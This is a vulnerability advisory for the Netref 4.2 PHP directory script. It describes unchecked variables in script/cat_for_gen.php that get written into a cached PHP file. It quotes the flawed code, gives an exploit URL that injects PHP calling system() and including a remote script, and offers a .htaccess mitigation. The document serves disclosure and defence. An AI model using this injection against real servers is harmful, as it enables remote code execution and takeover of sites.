Software: annuaire netref version : 4.2 url : http://www.netref.net Risk factor : critical
Vendor has been contacted
Description: -----------
Netref is a PHP/MySQL-based directory script that supports an unlimited number of categories and links. Many fonctions to manage the links : Fast search engine with syntax coloring, Edit icone of category, Alias sites, Check validity of URL, Possibility to comment the sites, Administrator access to edit all datas and validate suggested links by users, batch processing, etc. Also includes Multi-language support (French, English : very easy to add langage with the system of package). Very easy to update from older versions. Very fast rendering.
Vulnerability: -------------
There is a vulnerability in the handling of input by Netref. Because of this, it may be possible for a remote user to gain unauthorized access to the system using the vulnerable software.
The file "script/cat_for_gen.php" does not check the variables $ad, $ad_direct and $m_for_racine.
*************************** CODE ********************************* if ($ad==1){ if (!isset($ad_direct)) $ad_direct=""; // variable appelé que dans certains cas
$fp=fopen($ad_direct."cache/cat_for.php", "w"); $temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du formulaire $temp.=">$m_for_racine</OPTION>"; fwrite ($fp,$temp); *************************** CODE *********************************
We can see that the $m_for_racine variable is not initialized and will be written in the cache/cat_for.php file. We can inject any php commands !
Exploit: -------
http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php
sytem($command);include($remote_script)?>
Solution: --------
While waiting to upgrade to last version, make a .htaccess file in "script/" directory with : deny from all
Credit: ------
jaguar[at]wulab.com http://jaguar.wulab.com
